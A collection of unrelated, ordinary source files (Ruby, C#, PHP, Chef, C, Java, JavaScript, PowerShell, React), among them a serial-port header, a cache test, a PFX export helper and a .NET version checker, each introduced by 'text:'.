      path = client.workflow_template_path project: "value0", location: "value1", workflow_template: "value2"
      assert_equal "projects/value0/locations/value1/workflowTemplates/value2", path
    end
  end
end


text:
```csharp
public bool? Boolean { get; set; }
```

## See Also

* class [CheckQueryRequestDto](../CheckQueryRequestDto.md)
* namespace [Facility.ConformanceApi](../../Facility.ConformanceApi.md)

<!-- DO NOT EDIT: generated by xmldocmd for Facility.ConformanceApi.dll -->


text:
<?php

Loader::load('utility', 'crawler/rule/site/metaTitle/CrawlerRuleSiteMetaTitle');

class CrawlerRuleSiteMetaTitleDuplicate extends CrawlerRuleSiteMetaTitle
{

	protected function run_check()
	{
		$duplicate_title_count = 0;
		$titles = array();

		$metaTitles = $this->get_meta_titles();

		foreach($metaTitles as $metaTitle)
		{
			if(in_array($metaTitle->getID(), $titles))
				$duplicate_title_count++;
			else
				$titles[] = $metaTitle->getID();
		}

		$pass = $duplicate_title_count == 0;

		if(!$pass)
			$this->error('Duplicate Titles Found!');
	}

}

?>


text:
default['gitpaste']['apache']['use_ssl'] = true
default['gitpaste']['apache']['ssl_cert'] = 'gitpaste.local.crt'
default['gitpaste']['apache']['ssl_key'] = 'gitpaste.local.key'
default['gitpaste']['apache']['vhost'] = 'gitpaste.local'
default['gitpaste']['apache']['aliases'] = [node.ipaddress, '127.0.0.1']
default['gitpaste']['apache']['config'] = 'gitpaste.apache.erb'
default['gitpaste']['apache']['cookie_name'] = 'gitpaste_oid_12345'

# The following are for Google Apps SSO support
default['gitpaste']['apache']['apps_domain_regex'] = '@mydomain\.com$'
default['gitpaste']['apache']['iddb_directory'] = '/var/tmp'
default['gitpaste']['apache']['iddb_file'] = '.auth.db'

# the following cookbook is where we'll look for the apache template
default['gitpaste']['apache']['cookbook'] = 'gitpaste'
# this cookbook is where we'll grab the certs from
default['gitpaste']['apache']['ssl_cookbook'] = 'gitpaste'


text:
#ifndef SERIALPORT_H
#define SERIALPORT_H

#ifdef __cplusplus
extern "C"{
#endif // __cplusplus

#include <windows.h>

enum Baudrate
{
	B50	= 50,
	B110	= 110,
	B150	= 150,
	B300	= 300,
	B1200	= 1200,
	B2400	= 2400,
	B4800	= 4800,
	B9600   = 9600,
	B19200	= 19200,
	B38400	= 38400,
	B57600	= 57600,
	B115200 = 115200,
	B230400	= 230400,
	B460800	= 460800,
	B500000 = 500000,
	B1000000= 1000000
};

enum Stopbits
{
	one = ONESTOPBIT,
	onePointFive = ONE5STOPBITS,
	two = TWOSTOPBITS
};

enum Paritycheck
{
	even = EVENPARITY,
	odd  = ODDPARITY,
	off  = NOPARITY,
	mark = MARKPARITY
};

void ErrorExit(LPTSTR lpszFunction);

/**
	\brief Opens a new connection to a serial port
	\param portname		name of the serial port(COM1 - COM9 or \\\\.\\COM1-COM256)
	\param baudrate		the baudrate of this port (for example 9600)
	\param stopbits		th nuber of stoppbits (one, onePointFive or two)
	\param parity		the parity (even, odd, off or mark)
	\return			HANDLE to the serial port
	*/
HANDLE openSerialPort(LPCSTR portname,enum Baudrate baudrate, enum Stopbits stopbits, enum Paritycheck parity);

/**
	\brief Read data from the serial port
	\param hSerial		File HANDLE to the serial port
	\param buffer		pointer to the area where the read data will be written
	\param buffersize	maximal size of the buffer area
	\return				amount of data that was read
	*/
DWORD readFromSerialPort(HANDLE hSerial, char * buffer, int buffersize);
/**
	\brief write data to the serial port
	\param hSerial	File HANDLE to the serial port
	\param buffer	pointer to the area where the read data will be read
	\param length	amount of data to be read
	\return			amount of data that was written
	*/
DWORD writeToSerialPort(HANDLE hSerial, char * data, int length);

void closeSerialPort(HANDLE hSerial);

#ifdef __cplusplus
}
#endif // __cplusplus

#endif


text:
package com.hubspot.baragon.service.elb;

import com.amazonaws.services.elasticloadbalancing.model.Instance;
import com.google.common.base.Optional;
import com.hubspot.baragon.data.BaragonKnownAgentsDatastore;
import com.hubspot.baragon.data.BaragonLoadBalancerDatastore;
import com.hubspot.baragon.models.AgentCheckInResponse;
import com.hubspot.baragon.models.BaragonAgentMetadata;
import com.hubspot.baragon.models.BaragonGroup;
import com.hubspot.baragon.models.BaragonKnownAgentMetadata;
import com.hubspot.baragon.models.TrafficSource;
import com.hubspot.baragon.service.config.ElbConfiguration;
import com.hubspot.baragon.service.exceptions.BaragonExceptionNotifier;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Date;
import java.util.List;

public abstract class ElasticLoadBalancer {
  protected final Optional<ElbConfiguration> configuration;
  protected final BaragonExceptionNotifier exceptionNotifier;
  protected final BaragonLoadBalancerDatastore loadBalancerDatastore;
  protected final BaragonKnownAgentsDatastore knownAgentsDatastore;

  public ElasticLoadBalancer(
    Optional<ElbConfiguration> configuration,
    BaragonExceptionNotifier exceptionNotifier,
    BaragonLoadBalancerDatastore loadBalancerDatastore,
    BaragonKnownAgentsDatastore knownAgentsDatastore
  ) {
    this.configuration = configuration;
    this.exceptionNotifier = exceptionNotifier;
    this.loadBalancerDatastore = loadBalancerDatastore;
    this.knownAgentsDatastore = knownAgentsDatastore;
  }

  public abstract boolean isInstanceHealthy(String instanceId, String name);

  public abstract AgentCheckInResponse removeInstance(
    Instance instance,
    String id,
    String elbName,
    String agentId
  );

  public abstract AgentCheckInResponse checkRemovedInstance(
    String id,
    String elbName,
    String agentId
  );

  public abstract AgentCheckInResponse registerInstance(
    Instance instance,
    String id,
    String elbName,
    BaragonAgentMetadata agent
  );

  public abstract AgentCheckInResponse checkRegisteredInstance(
    Instance instance,
    String id,
    TrafficSource trafficSource,
    BaragonAgentMetadata agent
  );

  public abstract void syncAll(Collection<BaragonGroup> groups);

  Optional<BaragonKnownAgentMetadata> knownAgent(BaragonGroup group, String instanceId) {
    Collection<BaragonKnownAgentMetadata> knownAgents = knownAgentsDatastore.getKnownAgentsMetadata(
      group.getName()
    );
    for (BaragonKnownAgentMetadata agent : knownAgents) {
      if (
        agent.getEc2().getInstanceId().isPresent() &&
        agent.getEc2().getInstanceId().get().equals(instanceId)
      ) {
        return Optional.of(agent);
      }
    }
    return Optional.absent();
  }

  List<String> agentInstanceIds(Collection<BaragonAgentMetadata> agents) {
    List<String> instanceIds = new ArrayList<>();
    for (BaragonAgentMetadata agent : agents) {
      if (agent.getEc2().getInstanceId().isPresent()) {
        instanceIds.add(agent.getEc2().getInstanceId().get());
      }
    }
    return instanceIds;
  }

  boolean canDeregisterAgent(BaragonGroup group, String instanceId) {
    Optional<BaragonKnownAgentMetadata> agent = knownAgent(group, instanceId);
    if (!agent.isPresent()) {
      return true;
    } else {
      if (configuration.get().isRemoveKnownAgentEnabled()) {
        Date lastSeen = new Date(agent.get().getLastSeenAt());
        Date threshold = new Date(
          System.currentTimeMillis() -
          (configuration.get().getRemoveKnownAgentMinutes() * 60000L)
        );
        return lastSeen.before(threshold);
      } else {
        return false;
      }
    }
  }
}


text:
package org.apache.jackrabbit.oak.plugins.document.persistentCache;

import com.google.common.cache.RemovalCause;
import org.apache.commons.io.FileUtils;
import org.apache.jackrabbit.oak.cache.CacheLIRS;
import org.apache.jackrabbit.oak.plugins.document.DocumentMKBuilderProvider;
import org.apache.jackrabbit.oak.plugins.document.Path;
import org.apache.jackrabbit.oak.plugins.document.PathRev;
import org.apache.jackrabbit.oak.plugins.document.Revision;
import org.apache.jackrabbit.oak.plugins.document.RevisionVector;
import org.apache.jackrabbit.oak.plugins.document.persistentCache.async.CacheWriteQueue;
import org.apache.jackrabbit.oak.plugins.document.util.StringValue;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;

import java.io.File;
import java.io.IOException;
import java.util.List;
import java.util.concurrent.atomic.AtomicReference;
import static com.google.common.collect.Lists.newArrayList;
import static java.util.Arrays.asList;
import static java.util.Collections.emptyList;
import static org.junit.Assert.assertEquals;

public class AsyncQueueTest {

    @Rule
    public DocumentMKBuilderProvider builderProvider = new DocumentMKBuilderProvider();

    private static final StringValue VAL = new StringValue("xyz");

    private PersistentCache pCache;

    private List<PathRev> putActions;

    private List<PathRev> invalidateActions;

    private NodeCache<PathRev, StringValue> nodeCache;

    private int id;

    @Before
    public void setup() throws IOException {
        FileUtils.deleteDirectory(new File("target/cacheTest"));
        pCache = new PersistentCache("target/cacheTest");
        final AtomicReference<NodeCache<PathRev, StringValue>> nodeCacheRef = new AtomicReference<NodeCache<PathRev, StringValue>>();
        CacheLIRS<PathRev, StringValue> cache = new CacheLIRS.Builder<PathRev, StringValue>().maximumSize(1).evictionCallback(new CacheLIRS.EvictionCallback<PathRev, StringValue>() {
            @Override
            public void evicted(@NotNull PathRev key, @Nullable StringValue value, @NotNull RemovalCause cause) {
                if (nodeCacheRef.get() != null) {
                    nodeCacheRef.get().evicted(key, value, cause);
                }
            }
        }).build();
        nodeCache = (NodeCache<PathRev, StringValue>) pCache.wrap(builderProvider.newBuilder().getNodeStore(),
                null, cache,  CacheType.NODE);
        nodeCacheRef.set(nodeCache);

        CacheWriteQueueWrapper writeQueue = new CacheWriteQueueWrapper(nodeCache.writeQueue);
        nodeCache.writeQueue = writeQueue;

        this.putActions = writeQueue.putActions;
        this.invalidateActions = writeQueue.invalidateActions;
        this.id = 0;
    }

    @After
    public void teardown() {
        if (pCache != null) {
            pCache.close();
        }
    }

    @Test
    public void unusedItemsShouldntBePersisted() {
        PathRev k = generatePathRev();
        nodeCache.put(k, VAL);
        flush();
        assertEquals(emptyList(), putActions);
    }

    @Test
    public void readItemsShouldntBePersistedAgain() {
        PathRev k = generatePathRev();
        nodeCache.put(k, VAL);
        nodeCache.getIfPresent(k);
        flush();
        assertEquals(asList(k), putActions);

        putActions.clear();
        nodeCache.getIfPresent(k); // k should be loaded from persisted cache
        flush();
        assertEquals(emptyList(), putActions); // k is not persisted again
    }

    @Test
    public void usedItemsShouldBePersisted() {
        PathRev k = generatePathRev();
        nodeCache.put(k, VAL);
        nodeCache.getIfPresent(k);
        flush();
        assertEquals(asList(k), putActions);
    }

    private PathRev generatePathRev() {
        return new PathRev(Path.fromString("/" + id++), new RevisionVector(new Revision(0, 0, 0)));
    }

    private void flush() {
        for (int i = 0; i < 1024; i++) {
            nodeCache.put(generatePathRev(), VAL); // cause eviction of k
        }
    }

    private static class CacheWriteQueueWrapper extends CacheWriteQueue<PathRev, StringValue> {

        private final CacheWriteQueue<PathRev, StringValue>  wrapped;

        private final List<PathRev> putActions = newArrayList();

        private final List<PathRev> invalidateActions = newArrayList();

        public CacheWriteQueueWrapper(CacheWriteQueue<PathRev, StringValue>  wrapped) {
            super(null, null, null);
            this.wrapped = wrapped;
        }

        @Override
        public boolean addPut(PathRev key, StringValue value) {
            putActions.add(key);
            return wrapped.addPut(key, value);
        }

        public boolean addInvalidate(Iterable<PathRev> keys) {
            invalidateActions.addAll(newArrayList(keys));
            return wrapped.addInvalidate(keys);
        }
    }

}


text:
using System;
using System.IO;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;

namespace Oocx.Asn1PKCS.PKCS12
{
    public class Pkcs12 : IPkcs12
    {
        public void CreatePfxFile(RSAParameters key, string pathToCertificate, string password, string pathToPfx)
        {
#if DNXCORE50
            throw new PlatformNotSupportedException("pfx export is not supported on core clr");
#else
            var csp = new CspParameters {KeyContainerName = "oocx-acme-temp"};
            var rsa2 = new RSACryptoServiceProvider(csp);
            rsa2.ImportParameters(key);

            var certBytes = File.ReadAllBytes(pathToCertificate);
            var certificate = new X509Certificate2(certBytes,password, X509KeyStorageFlags.Exportable) {PrivateKey = rsa2};
            var pfxBtes = certificate.Export(X509ContentType.Pkcs12, password);
            File.WriteAllBytes(pathToPfx, pfxBtes);
#endif
        }
    }
}


text:
package de.iss.mv2.security;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.nio.charset.Charset;
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.ArrayList;
import java.util.Iterator;

/**
 * A helper class to generate a second passphrase form a given one.
 *
 * @author Marcel Singer
 *
 */
public class PassphraseInflator {

	/**
	 * Holds the name of the default message digest algorithm.
	 */
	private static final String DEF_DIGEST = "SHA-256";

	/**
	 * Holds the digest algorithm to use.
	 */
	private MessageDigest digest;

	/**
	 * Holds the charset to be used for the encoding of the passphrase.
	 */
	private Charset encoding = StandardCharsets.UTF_8;

	/**
	 * Creates a new instance of {@link PassphraseInflator}.
	 *
	 * @param digest
	 *            The message digest algorithm to use.
	 */
	public PassphraseInflator(MessageDigest digest) {
		this.digest = digest;
	}

	/**
	 * Creates a new instance of {@link PassphraseInflator} based on the
	 * algorithm specified by {@link PassphraseInflator#DEF_DIGEST} (SHA256).
	 *
	 * @throws NoSuchAlgorithmException
	 *             If the implementation of the default message digest algorithm
	 *             was not found.
	 */
	public PassphraseInflator() throws NoSuchAlgorithmException {
		this(MessageDigest.getInstance(DEF_DIGEST));
	}

	/**
	 * Returns the digest of the given passphrase.
	 *
	 * @param passphrase
	 *            The passphrase thats digest should be computed.
	 * @return The digest of the given passphrase.
	 * @throws IOException
	 *             If an I/O error occurs.
	 */
	public byte[] getPrimaryPassphraseDigest(char[] passphrase)
			throws IOException {
		ByteArrayOutputStream baos = new ByteArrayOutputStream();
		OutputStreamWriter writer = new OutputStreamWriter(baos, encoding);
		writer.write(passphrase);
		writer.flush();
		return digest.digest(baos.toByteArray());
	}

	/**
	 * Returns the inflated passphrases digest.
	 *
	 * @param passphrase
	 *            The passhrase thats inflated digest should be returned.
	 * @return The inflated passphrases digest.
	 * @throws IOException
	 *             If an I/O error occurs.
	 */
	public byte[] getSecondaryPasspharseDigest(char[] passphrase)
			throws IOException {
		ByteArrayOutputStream baos = new ByteArrayOutputStream();
		OutputStreamWriter writer = new OutputStreamWriter(baos, encoding);
		writer.write(passphrase);
		writer.flush();
		byte[] clearData = baos.toByteArray();
		ArrayList<Byte> clearList = new ArrayList<Byte>();
		for (byte b : clearData)
			clearList.add(b);
		clearData = null;
		byte[] primaryData = getPrimaryPassphraseDigest(passphrase);
		ArrayList<Byte> primaryList = new ArrayList<Byte>();
		for (byte b : primaryData)
			primaryList.add(b);
		primaryData = null;
		byte[] newData = new byte[primaryList.size() + clearList.size()];
		Iterator<Byte> clearIter = clearList.iterator();
		Iterator<Byte> primaryIter = primaryList.iterator();
		for (int i = 0; i < newData.length; i++) {
			if (i % 2 == 0) {
				if (clearIter.hasNext()) {
					newData[i] = clearIter.next();
				} else {
					newData[i] = primaryIter.next();
				}
			} else {
				if (primaryIter.hasNext()) {
					newData[i] = primaryIter.next();
				} else {
					newData[i] = clearIter.next();
				}
			}
		}
		return digest.digest(newData);
	}

}


text:
var step = ''
           + '
Test Purpose:
'
           + '
Verifies SpeechRecognition realated interface work well.
'
           + '
Pre-condition:
'
           + '
Requires the network connection that could connect to speech recognition service.
'
           + '
Requires the working mic on the test device.
'
           + '
Test steps:
'
           + '
Click on the microphone icon and begin speaking whatever you want
'
           + '
Expected Result:
'
           + '
Test passes if words show in the textarea under the
'
           + '
correct liftcycle of SpeechRecognition.
'
         + ''


text:
<?php
namespace Keratine\Form\Type;

use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\Form\FormInterface;
use Symfony\Component\Form\FormView;
use Symfony\Component\OptionsResolver\OptionsResolverInterface;
use Symfony\Component\PropertyAccess\PropertyAccess;
use Symfony\Component\PropertyAccess\PropertyPath;

use Keratine\Form\EventListener\ImageCropListener;

class ImageCropType extends AbstractType
{
	/**
     * {@inheritdoc}
     */
    public function getName()
    {
        return 'image_crop';
    }

    /**
     * {@inheritdoc}
     */
    public function getParent()
    {
        return 'form';
    }

    /**
     * {@inheritdoc}
     */
    public function setDefaultOptions(OptionsResolverInterface $resolver)
    {
        $resolver->setOptional(array(
            'image_path',
            'aspect_ratio'
        ));

        // $resolver->setDefaults(array(
        //     'aspect_ratio' => 1
        // ));
    }

	/**
     * {@inheritdoc}
     */
    public function buildForm(FormBuilderInterface $builder, array $options)
    {
    	$builder->add('file', 'file');
    	$builder->add('left', 'hidden', array('attr' => array('class' => 'crop_left')));
    	$builder->add('top', 'hidden', array('attr' => array('class' => 'crop_top')));
    	$builder->add('width', 'hidden', array('attr' => array('class' => 'crop_width')));
    	$builder->add('height', 'hidden', array('attr' => array('class' => 'crop_height')));

    	$builder->addEventSubscriber(new ImageCropListener());
    }

    /**
     * {@inheritdoc}
     */
    public function buildView(FormView $view, FormInterface $form, array $options)
	{
		$view->vars['image_url'] = null;
		$view->vars['aspect_ratio'] = $options['aspect_ratio'];

		if (array_key_exists('image_path', $options))
		{
			$parentData = $form->getParent()->getData();

			if (!$parentData) {
				return false;
			}

			$propertyAccessor = PropertyAccess::getPropertyAccessor();
			$propertyPath = new PropertyPath($options['image_path']);

			$imageUrl = $propertyAccessor->getValue($parentData, $propertyPath);

			// définit une variable "image_url" qui sera disponible à l'affichage du champ
			// $view->set('image_url', $imageUrl);
			$view->vars['image_url'] = $imageUrl;
		}
	}
}


text:
import React from 'react';

import NavigationBar from '../Navigation/NavigationBar';

var LoggedOut = React.createClass({
  mixins: [NavigationBar],

  getDefaultProps: function() {
    return {navBarHidden: true};
  },
});

export default LoggedOut;


text:
<#
# Copyright (c) 2014 All Rights Reserved by the SDL Group.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#>

function Get-ISHNETInfo
{
    [CmdletBinding()]
    Param()

    begin
    {
    }

    process
    {
        # http://stackoverflow.com/questions/3487265/powershell-script-to-return-versions-of-net-framework-on-a-machine
        # https://docs.microsoft.com/en-us/dotnet/framework/migration-guide/versions-and-dependencies
        Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse |
        Get-ItemProperty -name Version,Release -EA 0 |
        Where { $_.PSChildName -match '^(?!S)\p{L}'} |
        Select PSChildName, Version, Release, @{
          name="Product"
          expression={
              switch -regex ($_.Release) {
                "378389" { [Version]"4.5" }
                "378675|378758" { [Version]"4.5.1" }
                "379893" { [Version]"4.5.2" }
                "393295|393297" { [Version]"4.6" }
                "394254|394271" { [Version]"4.6.1" }
                "394802|394806" { [Version]"4.6.2" }
                "461808|461814" { [Version]"4.7.2" }
                {$_ -gt 461814} { [Version]"Undocumented 4.7.2 release or a higher .NET framework version, please update this script." } # What happens when comparing with this 'Version'?
              }
            }
        }
    }

    end
    {

    }
}


text:
module Mastermind
	class ComputerPlayer < Player
		attr_reader :chosen_slots
		def initialize(name = "Computer", slots = Slots.new)
			@name = name
			@chosen_slots = slots.row.rand_array
		end

		def if_mastermind
			@chosen_slots = slots.row.rand_array
		end

		def if_player
			@chosen_slots = slots.row.rand_array
		end
	end
end